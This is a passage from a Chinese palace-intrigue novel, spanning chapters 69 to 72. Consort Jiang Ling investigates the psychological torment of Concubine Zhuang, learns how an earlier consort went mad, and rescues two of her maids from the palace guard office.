文涓备好礼前去探望黄梁,再去华庆阁走了一遭。海棠花开正盛,江舲陪着三皇子在花树下玩耍晒太阳,见她眉头蹙起,心里大致有了数。 “娘娘,动手打板子之人,是黄大伴的亲信,他只破了油皮,歇上两日便无碍了。黄大伴很是感激娘娘,称是他惹恼了皇上,与娘娘无关,让娘娘莫要放在心上。黄大伴听说皇上来过繁英阁,回去后龙颜不悦,还担心起了娘娘呢。” 文涓回完去探望黄梁的情形,语气一变,道:“云慧照着娘娘的安排伺候庄美人,庄美人睡了一觉,用了些鸡汤,今朝精神本好了些。只韩贵人去过一趟,庄美人又开始多想,焦躁不安,搂着四皇子不撒手,连奶娘喂奶都不放心。四皇子哭得厉害,云慧她们劝得口干舌燥,庄美人才把四皇子交给奶娘。” 果真,元明帝这个混账狗东西,他所谓的知道,真是比臭狗屎还要无用! 庄美人再折磨下去,不死也得疯! “昨夜皇上赏赐了韩贵人一副金玉头面。韩贵人今朝一大早,戴着那套金玉头面去给庄美人请安了。汪贵人倒是没去。云慧说,汪贵人与韩贵人两人面和心不和,她是嫉妒韩贵人得宠,不愿见到韩贵人小人得势的嘴脸。” 江舲沉下脸,问道:“韩贵人说什么了?” 文涓道:“韩贵人说的那些话,任谁都挑不出错处。她称得皇上的恩宠,赏了她金玉头面,真是她莫大的福气。以前算命先生给她算过命。称她福泽深厚,会将长命百岁。荣华富贵,要有命可以享受,活得长久,才是真正有福之人。” 庄美人听到生死,定又开始疑神疑鬼。韩贵人深知庄美人的命脉,故意挑了这些话,说给她听。 韩贵人的计俩,算不得太聪明,毕竟云慧都能看出来。她还故意一遍遍到庄美人面前提,若非被嫉妒冲昏了头,便是十成十的蠢货。 蠢货的破坏力巨大,偏生又得了狗皇帝的加持,简直堪比灾难。 不过,蠢货一向只能被充作炮灰,死到临头而不自知。 庄美人生了四皇子,她再不被元明帝放在心上,也比韩贵人重要。 江舲突然想起什么,道:“文涓,你去太医院走一趟,就说我有些不舒服,请吴太医来替我把把脉。” 文涓很快领着吴适山来了,江舲任他把了脉,道:“吴太医,我没事。我请你来,是想打听一件事,你可知道大公主的生母,当年究竟如何没了的?” 第70章 皇帝后妃太妃皇子公主们的脉案, 平时的用药,方症等,皆封存在太医院, 属皇家机密。 吴适山一下愣在那里,江舲见状, 让文涓领着三皇子到一边去玩耍,道:“吴太医, 我问你之事, 着实是为难了你。只我问你此事,并非为我自己, 而是与庄美人有关。” 大胤虽不曾有病患隐私权的律法规定,吴适山透露沈婕妤之死, 一经被发现, 会有被砍头的危险。 江舲坦诚地将庄美人的情形道来,“人并非只有身子上的不适,还有这里。”她指了指脑袋, 胸口, “比如癔症, 心魔, 庄美人如今已经病得不轻, 经不起任何的刺激。尤其是有身孕, 生产之后的妇人,最容易生病。” 她叹了口气, 现在没有精神一类的药物, 专业的诊治治疗,加上韩贵人汪贵人的刺激。恐怕庄美人熬不了多久,迟早会疯掉。 庄美人一旦精神失常, 四皇子肯定会由他人抚育。 后宫中有资格抚育四皇子的嫔妃,四妃都有自己的孩子。品级高些的赵嫔有二公主,其他几个婕妤美人,皆以吃斋念佛为主。 毕竟是皇子,几人不受宠,亦未有生养孩子的经验,肯定不会让她们抚育。 元明帝虽凉薄无耻,帝王做得早已得心应手,颇为擅长平衡之道。 最有可能抚育四皇子之人,便是膝下只有公主的柳贤妃与赵嫔。其中柳贤妃品级比赵嫔高,品行端庄,温婉贤淑不争不抢,娘家人不张扬,官声颇好。 四皇子的抚养权,十有八九会落到她身上。 江舲始终觉着,庄美人的“疯”,是背后有人在推动。 “娘娘,臣并非要瞒着,是臣亦觉着不对劲。” 吴适山神色凝重,回忆着当年沈婕妤的情形:“当时臣方进太医院不到半年,尙是从九品的翰林医学,不得单独问诊,只能跟在太医正太医们身后打下手。沈婕妤当年的病症乃是夜里难以入眠,时常惊悸,食不下咽。当时太医院以为沈婕妤是见着林贵妃等都诞下了皇子,而她生了公主,思虑过度。太医院开了安神汤,补方。服用之后,沈婕妤并不见好转,渐渐地,沈婕妤的病越来越重,有一日,称贴身伺候的宫女要害她,拿着剪子将宫女扎伤。不止如此,无论是宫中伺候之人,亦或是太医院的太医,她皆不分青红皂白,拿着剪子就刺。后来,还是巡逻的护卫赶来,方将她制住。” 江舲呐呐道:“沈婕妤当时并非去世,而是疯了?” 吴适山道:“端瞧着沈婕妤的举动,确实与癔症一样。此事事关皇家脸面,皇上下令不许任何人声张,对外声称沈婕妤急病而亡,实则将沈婕妤关了起来。不到半月,沈婕妤就真正去世了。恰那时柳贤妃的皇子夭折,她郁郁寡欢,大公主便由柳贤妃抚育。” 江舲心中一咯噔,轻声问道:“柳贤妃的皇子夭折在前,还是沈婕妤生病在前?” 吴适山顿了顿,飞快地看了眼江舲,眼中惊骇一闪而过,道:“柳贤妃的皇子夭折后一段时日,沈婕妤方生病。当年沈婕妤也是住在华庆阁,她没了之后,宫中伺候的一众人等,有些人病亡,有些人放了出宫。沈婕妤的脉案都封存在太医院,当年的太医正告老致仕之后,前几年已去世,另外一个章太医,去岁年初也病逝了。” 江舲蹙眉,如此看来,一切早已无从查证。 “说句托大的话,臣自幼习医,被召进太医院之前,早就诊治过数不清的病人。臣以为,沈婕妤定不会无缘无故生病,夜里难以入眠,惊悸,更像是受了惊吓导致。她曾称夜里见着鬼了,有异样动静,在她耳边吵得睡不着。值夜的宫女们,却从未听闻过。后来皇上差人去亲自听过,将卧房仔细搜过一遍,夜里安静,一无所获。臣当时总觉着不对劲,亦不敢妄下言论。如今仔细一回想,睡不着吃不好,确实容易令人癫狂。臣以为,当时沈婕妤刺伤的宫女,应当很是可疑。可惜,那个宫女伤到心肺,人也没了。” 吴适山迟疑片刻,道:“娘娘可是以为,庄美人与沈婕妤患上相同的病症,皆是受到惊吓,因而忧思过度?” “有相同之处,却并不尽相同。”江舲道。 背后若真有人指使,手段确实太高明。庄美人若与庄美人是相同的症状,皆称是在夜里受到了惊吓,元明帝肯定会心生怀疑。当年沈婕妤之事,便会被翻出来。 无论有无证据,帝王多疑,涉及到皇子公主,天家血脉,定会血流成河。 庄美人虽不曾在夜里听到动静,她与沈婕妤却有共通之处。 两人无需死,只要发疯,她们的孩子都保不住。 江舲苦笑一声,“庄美人身子本就弱,心思细腻,极容易伤春悲秋。半句话,一个字,都会让她琢磨许久。为母则刚,她深知那般不好,拼命想要改过来。可惜,人的性情并非一朝一夕养成,要改谈何容易。庄美人又始终牵挂着四皇子,四皇子是她的命脉,能让她生,亦能让她疯,让她死。庄美人生产时,韩贵人汪贵人在她面前说的那些话,吴太医应当也听到了。杀人何须明晃晃的刀箭,文人手上的笔,搬动是非的嘴,皆是要命的利器。” “韩贵人汪贵人当时说的话,听上去都是在劝导宽慰庄美人,臣当时关心着庄美人与四皇子的身子,不曾多想。” 吴适山回忆着庄美人当时的情形,怔怔道:“臣想起来了,稳婆当时已经看到是皇子,让庄美人加把劲。韩贵人与汪贵人才说了孩子被拉扯出来,血流不止的话。难道,两人是因着四皇子,特意说了这些?” 江舲神色一震,道:“我并不清楚。究竟是何种缘由,只有她们两人知晓了。不过,眼下有一件事,两人不能再到庄美人的主屋去。可惜,除非是皇上亲下旨意,两人去给庄美人请安,是她们懂事之理,无人能拦着她们。我惹了皇上不快,韩贵人被召去侍寝,正得皇上宠爱。” 吴适山掩饰不住地担忧道:“娘娘可还好?” “我没事。”江舲不欲多言,想到元明帝就反胃恶心。 关于沈婕妤与庄美人之事,江舲感到像是灵光一现,无数点冒出来。要将这些点串连成线,却又缺乏关键的证据。 以前林贵妃来找江舲说到方司灯等人之事,她分析出了谁是幕后指使。 只与如今一样,林贵妃并无证据。因为要做到这一切,需要有人手。且这个人,还必须有本事,且忠心耿耿。 江舲将乱七八糟的思绪抛在脑后,先专注庄美人之事,道:“你每天要去给庄美人与四皇子请平安脉,可能在皇上面前回一句,庄美人与四皇子身子皆弱,须得静心修养,不得有人前去主屋打扰?” 吴适山应了下来,起身告辞:“这点容易,娘娘,事情耽搁不得,臣这就去华庆阁。” 到了华庆阁,云慧神色憔悴迎了出来,道:“吴太医来了。先前美人方歇下,可能请吴太医等上一等?” 吴适山望着天色,暗自吃了一惊,问道:“庄美人可用过了午膳,怎地在这时歇下了?” “美人不曾用膳,体力不支睡了过去。”云慧迟疑了下,吞吞吐吐道。 “美人生产之后,可有下过床走动?”吴适山问道。 云慧摇头,咬了咬唇,道:“美人身子本来就弱,气血两亏,一时下不了床。” 吴适山皱起眉,道:“待美人醒来之后,无论如何,一定要让她先用些饭食,早些下床走动。” 云慧道是,领着吴适山去偏屋等候。庄美人只歇了不到一炷香的功夫,便醒转过来。云霞送了吃食进屋,庄美人喝了几口红枣汤,便没了胃口。 吴适山跟着云慧进屋,看到脸色苍白,虚弱无力地靠在床头的庄美人,心沉了沉。 诊脉之后,吴适山苦口婆心劝道:“庄美人生产耗费了精力体力,虚不受补,是药三分毒。臣以为,庄美人还得多吃些饭食才是。” 庄美人半闭着眼眸,若有若无嗯了声。吴适山见状,只能无奈摇头,顺道看了在床边摇车中的四皇子。 四皇子吃过奶后正在酣睡,躺在襁褓中,瘦小的一团。吴适山并不太担心,四皇子生下来时与三皇子差不多重,如今三皇子长得活泼结实。 四皇子好生养着,照样可以平安长大。 吴适山看了眼庄美人,暗自叹了口气,告退离开。 午膳后,吴适山拿着脉案方症,前去垂拱殿御书房见元明帝。 “怎地是你在当值,黄大伴不在?”吴适山看到是张善在,与他笑着打了招呼。 张善嘴角动了动,他也没回答,道:“皇上午歇方才起身,我进去给你回禀一声。” 御前当值的内侍们,一般来说,若无紧要之事,都会给相熟的官员们卖个好。 比如特意提到元明帝午歇方起,便是龙颜不悦,面圣时须得小心为上。 吴适山立刻神色一紧,不动声色点了点头,示意知道了。 果然,吴适山进了御书房,上前恭敬请安,元明帝只从鼻孔中挤出声:“何事?” 吴适山听到元明帝低沉冰冷的声音,头皮一紧,赶忙奉上脉案,“臣前去华庆阁请脉,庄美人的脉象虚弱无力,臣甚是担心,万万不敢隐瞒,前来回禀皇上。庄美人必须好生静养,任何人都不得前去打扰。” “又有谁去华庆阁吵到她了?”元明帝眼皮掀了掀,拿起御案上的脉案,随意翻动起来:“治病救人是你们太医院的差使,庄美人脉象既然不稳,该拿出诊治的方子才是” 说到这里,元明帝的话一顿,手跟着停下来,抬眼看向吴适山:“繁英阁江淑妃病了?” 思及江舲先前称她惹恼元明帝之事,吴适山斟酌着道:“回皇上,淑妃娘娘并无大碍,只觉着身子些许不适,寝食难安。” 元明帝呵呵,心道定是她敢忤逆天子的报应!因与江舲争吵满肚皮的闷气,此时一扫而空。粗粗翻完脉案,道:“怎地不见开方剂?” 吴适山不敢去看元明帝,垂头撒谎道:“娘娘一向不喜药的苦味,臣便斗胆未开。待明朝时,臣再去请过脉,看娘娘的情形可有好转后,再酌情定方剂。” 元明帝知道江舲不喜吃药,但她身子一向极好,定是见他动怒,她终于害怕后悔了。 “哼。”元明帝若有若无哼了声,心道:“定要将她收拾得服服帖帖,让她知晓,朕是天子,是她的天!” “你退下吧,与郑太医正一起商议好庄美人的方子。朕会让人去传旨,不得打扰了庄美人与四皇子歇息。” 吴适山松了口气,恭敬施礼退下。元明帝吩咐张善去华庆阁传令,开始批阅折子。 半晌后,朱笔墨汁快干,元明帝仍一字未下。 “她要是病得厉害呢?” “她那臭脾气,要是见朕前去,恐会愈发张狂了。” “朕乃九五之尊,天下后宫都是朕的。朕去何处,她身为嫔妃,给她十个胆子都不敢吱声!” “朕向来宽厚仁慈,不与妇道人家计较。” “三皇子是朕的亲生骨肉,朕是在操心他!” 元明帝神思恍惚着,越想越坐不住,扔下笔,起身大步走出御书房,急匆匆朝繁英阁奔去。《 》 70-80 第71章 紫衫与青檀坐在廊檐下石栏上, 手上编着如意结果,低声说着闲话。见到元明帝从抱厦中走出来,紫衫忙将手上的结绳塞给青檀, 转身欲进屋。 春日和暖,四周寂静无声。平时三皇子醒着时, 整座繁英阁都洒满他咯咯欢笑声。 元明帝顾虑着江舲生病身子虚弱,三皇子淘气, 若是吵醒他, 得将好一番折腾。他忙示意紫衫停步,放轻手脚进了次间。 倒春寒过去, 窗棂换成夏日的翠绿纱绡。此时窗帘半卷,挡住了屋外的太阳, 宁静幽深。 母子俩躺在榻上, 正在酣睡之中。元明帝立在榻前,仔细打量着迎窗侧卧的江舲,白皙的面庞上透着红润, 明艳如盛放的海棠, 如何都寻不着生病的模样。 元明帝眸中渐渐升起狐疑, 心道若是她真病了, 以她的谨慎, 断不会与三皇子共歇在一处, 呼吸相闻。 想到自己自己惦记着她的身子,丢下折子心急如焚赶来, 顿时郁闷至极。 “起来!”元明帝冷着脸, 将江舲摇醒。 他即便宅心仁厚,亦无法宽恕她的疏懒不敬! 江舲迷迷糊糊睁开眼,看到眼前元明帝的脸, 下意识闭上了眼睛。 “真是恶心,在梦中也能看到这张讨厌的脸!” 正在嘀咕暗骂时,江舲又被一阵摇晃。这下她彻底醒转,被吵醒的气在心头乱窜,脸色便很是难看。 元明帝见江舲还敢与他挂出冷脸子来,气不打一处来,沉声道:“都这个时辰了,你还在榻上躲懒!” 他的声音略微大了些,三皇子被惊得一抖,嘴一撇,腿脚蹬了蹬,张嘴哇哇大哭。 江舲一眼瞪向元明帝,赶忙轻轻拍着三皇子,“阿娘在呢,别怕啊,乖。” 三皇子往常很是好哄,今朝却不知为何,无论江舲如何安抚,他都哭个不停。 江舲将三皇子抱在怀里,心疼地贴着他哭得通红的小脸,走出屋,在明媚的屋檐下走来走去。一遍一遍,耐心,温柔地哄着他。 文涓阿箬她们听到三皇子的哭声,忙奔了过来,见江舲只穿着单薄的衫裙,赶忙道:“娘娘,让奴婢来哄吧。” 江舲摇头,眼下若将三皇子交给她们,他只会哭得更厉害。 元明帝讪讪跟在后面,既感到后悔,碍于脸面又说不出口,嘟囔道:“男儿竟然如此胆小。” 江舲清楚听见,眼皮都不抬,置之不理。 元明帝幼时,应当由奶娘宫女内侍伺候着长大,母亲先太后在旁边看着指点几句。她并非在指责先太后的育儿方式,俗话说得好,种瓜得瓜种豆得豆。 皇家养出来的孩子,从古至今,称得上人的寥寥无几。 江舲其实无比懊悔,三皇子虽是婴儿,已经能感知到大人的情绪。她的不悦,一应的情绪,三皇子都能敏锐察觉,他的哭泣,在表达他的不安与焦虑。 元明帝混账凉薄,江舲不敢保证三皇子长大后会有出息,惟盼着他曾拥有的爱意,能让他变成温暖,有人味的皇家人。 “这是海棠花,小舟要不要玩啊?”江舲来到海棠树下,拉起三皇子的手,指着树上的花朵,柔声问道。 三皇子流着泪,顺着江舲手指仰起头看去,哭声渐渐停下来,抽噎着指向花,咿咿呀呀叫唤起来。 江舲舒了口气,文涓在一旁看到,跟着笑起来,连忙上前,垫着脚尖摘了朵海棠花。三皇子一把抓在胖手中,拿着就往嘴里塞。 垂丝海棠无毒,三皇子的手快如闪电,江舲便就不去管他。 “小子,连海棠花也吃。”元明帝在旁边看着三皇子破涕为笑,他放下心,嗔怪地道。 三皇子专心地咬着海棠花,觉着苦涩,小舌头灵活地往外吐。江舲的衫裙,发髻上,沾了他吐得口水花瓣。进屋后,江舲唤文涓进屋来看着,她去净房更衣梳洗。 洗毕出来,三皇子又饿了。江舲开始喂他,更换尿布,清洗,一番忙碌下来,太阳已经偏西。 大家都在忙,元明帝坐在那里,除去添茶加水,无人理会他。 屋外天气好,文涓她们在庭院中铺了大块毡垫,江舲抱着动个不停的三皇子上前,将他放在毡垫上,任由他撅着屁股,欢快地爬来爬去。 元明帝默默跟着母子俩,找着机会与江舲说起了话:“地上冰凉,他穿得单薄,放在地上爬,可会凉着了?” “无妨。”江舲尽量心平气和地答了句。 元明帝不自在地咳了声,学着江舲那样,在毡垫上坐下来,帮着挡住爬出毡垫的三皇子。 “吴适山称你身子不舒服,我放心不下,来瞧瞧你可曾好了些。”元明帝绞尽脑汁,小心翼翼找着话说道。 江舲怕连累吴适山,她如今已经不想用臣妾的称呼,面部红心不跳地说是,“我还有些头晕。” 这点江舲倒并未撒谎,先前三皇子哭得上气不接下气,她抱着胖乎乎的他走了近半个时辰,双臂发酸,更是被他哭得心力交瘁。 元明帝对江舲的自称并无任何反应,似乎他早就习惯了。听到江舲身子不适,顿时眉头微蹙,目露关心。 如今江舲对元明帝的一举一动,算得上了解,不欲见到他无用且泛滥的帝王情深,立即岔开话题,借故说起了庄美人。 “小舟先前就是睡梦中受了惊吓,啼哭不止。四皇子尙年幼,任何动静都可能惊吓到他。庄美人心思细腻,生产后身子正弱,听不得任何的闲话。皇上宠爱韩贵人,不如让韩贵人搬到别处寝宫,她住主屋。汪贵人与韩贵人交好,让她依附着韩贵人住,两人在一起,也好有个伴。” 如今宫中少有空置的宫殿,坤宁宫是中宫,撷芳阁倒是一直空着。 元明帝想到撷芳阁的传闻,韩贵人年轻细腻的肌肤,一时有些犹豫。 “朕先前已经让张善前去传话,韩贵人汪贵人不得无召前去主屋打扰。” 华庆阁地方小,主屋只前后有抱厦。韩贵人与汪贵人住在东西院,与主屋中间隔着大半人高的粉墙。两人若是在墙根下大声说话,庄美人在卧房能听得一清二楚。 看情形,元明帝并未有将两人挪出去的意思。江舲心中堵得慌,还是尽力替庄美人争取:道:“皇上,我只怕,庄美人到时若有不测,她年纪轻轻,着实不应该,还苦了四皇子。” “你未免太言过其实了些,听人说几句话,庄美人能将自己愁死。她的心眼,比针尖麦芒还要细。如此胸襟气度,岂不是丢了朕萧氏的脸面。” 元明帝笑起来,搂住爬到他腿上的三皇子,柔声道:“庄美人与你并无来往,你却为她忙前忙后,操尽了心。这份仁厚,朕早已知道。如今你看顾着这小子费尽心血,庄美人那边的事,你莫要操心,朕已经下了旨意,若对四皇子不利,朕让人抱走就是。” 四皇子是庄美人的命根,元明帝要是将他带走,庄美人活不了,正合了背后之人的意。 即便是亲生父母,都做不到绝对的公道,何况在后宫。 庄美人与赵嫔她们不同,进宫时日短,承宠一次便有了身孕,谈不上任何的情分。 元明帝看重的,始终是四皇子。对庄美人这个生母,犹如对海棠花,盛放时会看上一眼。凋零时落在地上,化不了春泥,会将被迅速清扫干净,或者踩入尘土中。与历朝历代后宫中成千上万不知名嫔妃的结局那般,变成皇陵边缘不起眼的一处墓碑。 江舲虽看得透彻,心头还是闷得透不过气,荒芜一片。她拼命克制住心头的厌恶,道:“皇上,四皇子是庄美人拼命生了下来,庄美人怎会舍得对他不利。皇上还请看在庄美人生育皇子有功的份上,让四皇子留在庄美人身边吧。” “行行行,朕都依了你。”元明帝笑着道,他手忙脚乱抱着蠕动个不停,试图抓他头上王冠的三皇子,高兴地夸赞道:“这小子的腿脚真是有劲。” 江舲实在无心说话,上前将三皇子抱住,带着他去认庭院中的花草树木。 元明帝想起未批完的折子,起身拍掸了掸身上的常袍,道:“朕还有事,待得空时再来。” 江舲道好,送走元明帝,她看着三皇子稚嫩天真的脸庞,暗自叹了口气,道:“文涓,等下你去华庆阁走一趟,问一问云慧如今那两位的情形。” 文涓去华庆阁回来,回道:“娘娘放心,云慧说韩贵人汪贵人都没了声响。庄美人被她们轮流劝说,加上四皇子,先前吃了大半碗蛋羹,如今精神好了些,下床被搀扶着,能走动几步了。” 江舲这才放了心,不时让文涓她们去看上一眼。 这天午后,阿箬紫衫结伴去了华庆阁。天气阴沉,闷雷滚滚,三皇子没睡好,哭唧唧着吵个不停。 风吹得窗棂呼啦啦响,文涓担心吓着三皇子,忙过来关窗。三皇子被吸引过去,一下也不哭了,睁着乌溜溜眼眸看得很是专注。 江舲松了口气,顺眼看向窗棂,道:“要下雨了。” 文涓说是,“今年都入夏了,方才第一次打雷,怎地来得这般迟。” 她似乎想到了什么,皱眉道:“阿箬紫衫已经去了好一阵,怎地还没回来。云慧算得是机灵的,其他几人都木讷,想不到给她们雨披,等下仔细淋得一身湿。” 江舲道:“你让人拿着雨伞去华庆阁,顺道看看,莫不是有事耽搁了。” 文涓忙去了,取了雨伞让人前去华庆阁。没一阵,雨点便噼里啪啦降落。这时三皇子又不害怕了,趴在墙壁上,小短腿一站一蹲,试图着站立。 江舲怕他摔倒磕到脑门,抓着他搭到自己的胳膊上,让他学着站立。三皇子绷着胖脸蛋,努力地站了下,腿一软,一屁股跌坐在软垫上。 江舲不客气哈哈大笑,三皇子本张嘴要哭,看到江舲笑,流着口水自顾自咯咯傻乐。 文涓拿着软布巾,擦拭掉三皇子嘴角的口水,忍俊不禁道:“三皇子腿脚有了劲,再过段时日就能走路了。” “走路会更淘气,那时候才最最令人头疼。”江舲想到“狗都嫌”的年纪,嫌弃地捏着三皇子的胖脸蛋。 文涓忙道:“娘娘真是,老夫人说过,不能捏三皇子的脸,仔细口水会越流越多。” 江舲嘿嘿笑着收回手,三皇子的脸跟剥壳荔枝一样,雪白中带着两团胭脂,一看就手痒,控制不住捏一捏。 这时,文涓听到门外的脚步声,她忙掀帘出去,丹桂浑身湿润立在门外,惊慌失措地道:“娘娘,阿箬与紫衫被袁大伴他们抓走了!” 第72章 文涓脸色霎时一白, 着急地道:“娘娘,进了勾当巡护皇宫值房的门,就跟进宫正司一样, 几乎没人完好无缺出来!” 丹桂颤抖了下,惊恐地望着江舲。不知是汗还是雨水, 顺着脑门前的刘海,滴滴答答往下掉落。 “文涓, 你叫上人与你一起, 带上三皇子去垂拱殿找皇上,让他看着三皇子。若是皇上问我去了何处, 你就说我去找袁长生了。” 江舲想到上次在垂拱殿前遇到的袁长生,眸色冰冷, 对丹桂道:“你随我去走一趟!” 外面雨大风急, 文涓咬着嘴唇,担忧地道:“娘娘,三皇子还小” 江舲斩钉截铁打断了文涓, “刮风下雨四季变换, 人人都要经历。小舟又不是面团子, 就这么一点路, 将他裹得严实些, 不要淋到雨就行。” 三皇子是元明帝的儿子, 这个时候送三皇子去,对他是最好的保护。对她, 则添了一份筹码。 阿箬紫衫是宫女, 勾当巡护的值房并非讲道理之处。就是她们不曾犯事,江舲相信袁长生他们也会让她们犯事,好让他们的行为看上去合乎规矩。 袁长生与众不同, 元明帝能将自己与后宫的安危交给他,称得上心腹中的心腹。比起政事堂的相爷,甚至一众嫔妃都重要。 穿戴完毕出门,文涓用油衣裹着三皇子,他因着好奇,不见半点害怕,反而咿咿呀呀个不停,试图从油衣中钻出来。 江舲放下心,加快脚步往勾当巡护的值房奔去。雨越来越大,顺着屋檐往下倾倒。到了位于皇宫南宫门边的值房,江舲穿着木屐,鞋袜连着裙摆被湿透,冰凉地贴在腿上。 值房的门敞开着,兴许是下雨,护卫都在屋中,四下无人。 丹桂快步走到前面去,到了倒座前的门房。此时,虚掩的门中走出来一人,毫不掩饰神色中的惊讶,眼珠子在丹桂身上来回扫过,笑嘻嘻道:“这位贵人姐姐,你这是打何处来,可有贵干呐?” 江舲见状,径直道:“袁长生在何处?” 此人循声看来,这才看到丹桂后面的江舲,他愣了下,赶忙躬身见礼:“原来是淑妃娘娘亲临,淑妃娘娘,袁大伴正忙着。不知淑妃娘娘找大伴何事,奴婢这就去给淑妃娘娘传话。” 他看似举止恭敬规矩,说话却油滑,极尽推诿之意。江舲没工夫搭理他,抬头朝前面看去。 倒座后的宅子与寝宫相似,抱厦连着厢房耳房,只狭窄矮小些。 江舲抬腿转向回廊,那人顿了下,连忙追了上前,绕到江舲的面前,躬身施礼下去,“娘娘,此乃勾当皇宫的值房,关乎着皇宫的布防,皇上的安危。照着规矩,除非有皇上的旨意,任何人都不得 “闪开!” 来带值房,江舲只一个目标,将阿箬紫衫毫发无损带走。视他所言的规矩,并不与他讲道理,声音冰冷怒斥一声,脚步不停往前走。 眼见江舲就要撞上来,他哪敢与之硬碰硬,仰着身子蹬蹬瞪往后退。 早有人见到江舲到来,偷偷去回禀了袁长生。他立在窗棂后,一瞬不瞬瞧着外面的情形。看了片刻,他似笑非笑了下,迎了出来。 “竟然是淑妃娘娘,奴婢见过淑妃娘娘。”袁长生抬手见礼,客气地道:“淑妃娘娘,值房脏污,恐冲撞到娘娘,奴婢就不请娘娘进屋去歇着了。不知娘娘到值房,所谓何事?” “袁大伴将我的宫女阿箬紫衫带走了,我来找她们回去。”江舲径直道。 “原来娘娘是为阿箬紫衫而来。”袁大伴一脸恍然大悟,他皱了皱眉,显得很是为难道:“娘娘,奴婢在巡逻时遇到了阿箬,当时只独自一人,在华庆阁西侧的夹道中,鬼鬼祟祟地垫着脚尖,似乎在偷窥偷看。宫女内侍领了旨意出去跑腿办差,必须得两人一道前往。不得东张西望,到处打探。奴婢见阿箬举止可疑,领着护卫上前询问。阿箬称领了娘娘的命到华庆阁办差。奴婢一听便知她在说谎,娘娘一向注重规矩,如何会只差她一人出来办差。奴婢怕阿箬对娘娘不利,准备将她带回值房问话。此时紫衫从华庆阁走了出来,见状忙上前称,她与阿箬一道出来办差。进宫的宫女,必须习得规矩。奴婢此时更是心生怀疑,阿箬不懂规矩,紫衫怎地也不懂规矩,看似倒是互相串通好,亢壑一气般。奴婢怕她们两人身怀鬼胎,将两人一起带回了值房。待奴婢查明原由之后,再来向娘娘回话。” 他说的缘由,听上去无懈可击,遑论真假,江舲皆置之不理,不多问,更不与他辩解。 “我知道了,她们人呢?三皇子如今由皇上看着,皇上日理万机,我得早些回去看顾三皇子。劳烦袁大伴快些。” 袁长生顿住,那双漂亮的眼眸变得深幽了几分,不动声色朝江舲看来。 雨幕笼罩着天地,回廊上昏暗阴沉。江舲静静立在那里,衣衫发髻濡湿,神色平静淡然,却透着不容置疑的威严。 袁长生脸上浮起笑容,道:“从未有主子的贵足踏进过勾当巡护的值房,奴婢着实惊讶。娘娘既然忙,且先回去便是,娘娘放心,奴婢待问完,若是两人确实无辜,奴婢会将她们送回繁英阁。” “有人不将他人看做人,也不将自己看做人。” 江舲微微扬起下颚看着袁长生,似在解释,也是在说给他听,“我宫中的宫女,我一向把她们当做人看。这宫中没有我去不了之地,既然我走了一遭,从不无功而返,即刻就要将她们带回去。” 袁长生微微一愣,眸中掠过茫然,很快垂下眼帘,抬手施礼下去,道:“娘娘且稍等,奴婢去将她们放出来。” 既然袁长生答应放人,江舲也不咄咄逼人,颔首道:“劳烦了。” 袁长生退后几步,转身回屋,江舲站在原处,随意四下打量。 这时,重新回御前当值的黄梁,与底下的钱串子,撩起衣袍急匆匆跑了过来。黄梁跑在前,看到走到大门前的袁长生,大喊了声“袁长生”,一头扎进雨中,穿过庭院往前跑,边恼怒地道:“皇上有旨,让你赶紧放人!” 袁长生停下脚步,朝江舲那边看了眼,他也不多言:“奴婢遵旨。” 黄梁几步奔上台阶,抹去脸上的雨水,着急追问道:“你审得如何了?” “勾当巡护皇城办事,向来都规规矩矩。” 袁长生轻笑一声,朝江舲处一抬手,“娘娘也在,得了娘娘的命令,我正要去放人。” 黄梁僵住,顺眼朝江舲看来,他忙遥遥施礼,又不甘心,抬腿踢去。 袁长生早有防备,身形灵活躲开,他并不不生气,脸上依旧带着笑容,施施然朝屋内走去。 黄梁并不进屋,在外指着袁长生骂:“你个黑了心肝的,故意不吱声,看着我在大雨中跑,你好看戏!” 片刻之后,阿箬紫衫两人互相搀扶着走了出屋。她们发髻衣衫凌乱脏污,神情惊惶如惊弓之鸟,连眼前的黄梁都不曾看到。 “哎哟,你们去何处!”黄梁见两人如他那般,慌不择路要往台阶下冲,赶忙拉住她们,“娘娘也来了,你们还不去叩谢娘娘!” 阿箬紫衫两人听到江舲,一下恢复了神志,拽着衣裙就往江舲方向没命地跑。黄梁眨巴着眼睛,闷头跟着一道跑。 “娘娘!”阿箬紫衫抢着叫了声,泪水流了下来,腿一软就要跪下。 “快起来。”江舲拦住阿箬,丹桂跟着拉起了紫衫。 “你们可有挨打受伤?”江舲端详着两人,沉声问道。 先前两人被护卫捉住带回值房,他们力气大,只手腕被绳索捆着起了淤青,衣衫湿透。 阿箬紫衫双双摇头,江舲再问道:“你们可有被轻薄?” 黄梁神色讪讪,装着抹脸上的雨水。袁长生拿着雨伞站在那里,脸色变了变。 阿箬紫衫忙道不曾,江舲彻底放下心,对袁长生道:“我这个人,一向护短。叨扰了。”说完,转身朝外走去。 黄梁准备去抢袁长生手中的雨伞,被他侧身躲开了。无奈之下,黄梁只能剜了他一眼,夺过钱串子的雨伞,连着自己的雨伞一道拿给阿箬与紫衫。 两人忙摇手拒绝,黄梁强塞到她们手中,脸上堆满笑,道:“你们拿着,小娘子受不得凉。” “多谢大伴。”阿箬见江舲不曾出声,便收下了雨伞。紫衫见状也收下,跟着一起屈膝道谢。 黄梁呵呵笑着,指头伸进幞头抠了抠,脸色瞬间一变,气势汹汹去抢袁长生手中的雨伞。 这下袁长生不曾躲,由着黄梁拿走了雨伞,道:“记得还回来,勾当巡护的一根草,都不能随便让人拿走。” “咄!”黄梁不屑撇嘴,也不道谢,分了把伞给钱串子,施施然跟在江舲身后离开。 袁长生的话,江舲听得一清二楚。他拿着雨伞出来,应当是要给阿箬与紫衫。毕竟已经放了她们,不如干脆将面子情功夫做全。 她们离开时,他却未递出手中的雨伞。江舲估摸着,她问阿箬紫衫可有被轻薄,令他不高兴了。 内侍阉人们没了子孙根,色心却不死。常有寻对食,如正常男子那样,娶妻收干儿子之事。 阿箬紫衫都是面容姣好的宫女,被带到阴森漆黑的屋中审问,江舲当然会想到这点。 要是她们被人轻薄,趁着有黄梁在,正好一并说清楚。 她能带走她们,也能替她们讨回公道! 出了大门,黄梁快步上前,他觑着江舲的神色,低声道:“娘娘,袁长生这个人心思沉声,手段狠厉,倒是洁身自好。奴婢常说,他是仗着生得好看,孤傲得很,以为自己多看小娘子一眼,便是让人占了便宜。他御下手段高明,底下的护卫,亦从不敢胡来。皇上最最宠信他,奴婢远不敢与之相比。” “我对他不熟,是我多想了。”江舲诧异了下,微笑道:“不过话已出口,好比覆水难收。再说,他带走阿箬紫衫,我这个淑妃的脸,都在这场大雨中丢得一干二净了。” 